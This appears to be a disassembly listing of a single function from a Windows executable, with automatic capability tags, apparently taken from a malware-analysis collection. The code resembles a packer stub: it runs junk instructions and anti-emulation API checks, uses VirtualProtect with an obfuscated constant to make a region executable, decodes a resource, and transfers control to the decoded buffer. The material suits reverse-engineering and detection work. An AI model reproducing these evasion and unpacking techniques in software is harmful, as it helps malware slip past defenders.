Function at 0x404020
Capabilities:
Authenticate hmac
Move file
Read .ini file

Disassembly:
mov ecx, eax
sbb ebx, dword [0x405199]
sub esi, dword [ebp - 0x14]
pop edx
and ecx, 0xffffff87
add ecx, esi
push str.hsXwZQHIdYHH
push 0xe
push 0x4053f6
push str.fqzCXoPGeaZPD
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
cmp eax, 0
jne 0x404792
mov ecx, ebx
mov dword [ebp - 0x19], edi
sub edi, dword [ebp - 0x49]
mov edx, dword [ebp - 0x24]
push 0xb
push 0x4053dd
push str.mNzOaRhqyTbvb
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
jne 0x404792
sbb edi, ebx
sub dword [0x4051fd], 0xffffffe8
add edi, eax
xor esi, 0x30
push str.RDgOJmQGH
push 0x4053bb
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x404792
sub dword [ebp - 0x38], 0xb
adc eax, 3
sub dword [ebp - 0x12], 0xffffffb4
push 0x1c
push 0x405415
lea edi, [0x405411]
push dword [edi]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
and esi, esi
sub ebx, 0xffffffdf
mov dword [0x4051f6], 0xac
and ebx, ebx
call 0x404020
adc dword [ebp - 0xa], ebx
mov edx, 0x1c
add dl, byte [ebp - 0x27]
mov esi, dword [0x405178]
and dword [ebp - 0x5b], esi
mov dword [ebp - 0x2d], 0xf5
add esi, dword [0x405267]
add esp, 4
and dword [ebp - 0x4e], esi
and dword [ebp - 0x21], eax
adc ah, bl
push 4
push 0x40547c
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne fcn.00402439
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x40], 0xb2
xor edi, 0xffffff83
push 0x1c
push 0x405415
lea esi, [0x405411]
push dword [esi]
push 0xffffffff
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
or dword [ebp - 0x10], esi
xchg esi, eax
sbb ebx, 0x2b
push str.cHiYglNALT
push 0x405452
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
cmp eax, 0
jne fcn.00402439
xor esi, 0x57
sbb dword [ebp - 0x45], esi
and dword [ebp - 0x1e], edi
push 0xb
push str.eENUCSqAykQ
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
test eax, eax
jne fcn.00402439
or dword [ebp - 0x46], ebx
xor dword [ebp - 0x3b], esi
call fcn.00402439
sub esi, esi
mov edx, dword [ebp - 6]
sbb dword [ebp - 0x55], edi
or dword [0x405224], esi
xor dword [ebp - 0x46], eax
mov edx, 0xffffffc9
push str.JetCloseFile
sbb dword [ebp - 0x55], 0x75
xor eax, dword [ebp - 0x2c]
mov edx, str.esent.dll
push edx
sbb eax, dword [ebp - 0x23]
sbb dword [ebp - 0x2b], 0xffffffee
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
xor edx, dword [ebp - 0x13]
and dword [ebp - 0x1b], 0xb
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
and edx, ebx
mov ecx, 0x7d
sbb ecx, ebx
push eax
lea edi, [0x40544e]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_EncodePointer]
pop eax
adc edi, 0xffffffec
xor dword [ebp - 0x19], 0xffffffc4
push 1
mov edi, esi
mov ecx, 0x3b
xor dword [ebp - 0x34], 0xffffffc6
call eax
sbb esi, esi
sbb ch, byte [ebp - 0xc]
mov edx, esi
or edi, esi
test eax, eax
je fcn.00402439
and dword [ebp - 0x54], 0xffffffe0
sub edx, dword [ebp - 0x40]
and dword [ebp - 0x23], 0xffffffbb
jmp 0x4043b5
sub ecx, ecx
push ecx
push 0x4050e0
push 0x94a49a5
xor dword [esp], 0x94a49e5
push 0x6d8
push 0x4050e0
add word [esp], 0x200
mov ecx, sym.imp.KERNEL32.dll_VirtualProtect
call dword [ecx]
pop ecx
cmp eax, 0
je fcn.00402439
sub edx, edx
dec edx
and edx, 0x51494a3f
lea esi, [0x4052e0]
sub ebx, ebx
sub ebx, resource.2
neg ebx
push esi
sbb eax, dword [ebp - 0x25]
add eax, 0xffffffcf
mov edi, dword [ebx]
or eax, 0xffffffe5
add dword [ebp - 0x4e], eax
mov eax, eax
neg edi
and eax, 0xffffff95
sbb eax, dword [ebp - 0x47]
add dword [ebp - 0x1f], 0x4c
lea edi, [edi - 1]
and eax, eax
nop
sbb eax, dword [ebp - 0x21]
push edx
and dword [ebp - 0x54], eax
sub dword [ebp - 0x2d], 0x30
xor eax, eax
xor edi, dword [esp]
sub eax, dword [ebp - 0x29]
and dword [ebp - 0x14], 0xffffff81
pop edx
add byte [ebp - 0x11], ah
and eax, 0x4b
sub eax, eax
adc eax, 0xffffff9e
lea edx, [edi]
add dword [0x40522c], eax
sbb eax, dword [ebp - 0x53]
rol edx, 8
sbb dword [ebp - 0x36], eax
and dword [ebp - 0x44], 0x36
xor eax, dword [ebp - 0x1f]
sbb ah, 0x95
push edi
pop dword [esi]
xor eax, dword [ebp - 0x2e]
mov al, ah
clc
sbb ebx, 0xfffffffc
add byte [ebp - 0x4a], al
xor eax, eax
xor eax, 0x1b
and eax, dword [ebp - 0x55]
clc
sbb esi, 0xfffffffc
add eax, eax
mov eax, eax
lea ecx, [ecx + 4]
adc byte [ebp - 0xb], al
adc dword [0x405134], 0x4b
sub eax, dword [ebp - 0x4b]
cmp ecx, 0x6d8
jne 0x404404
pop esi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi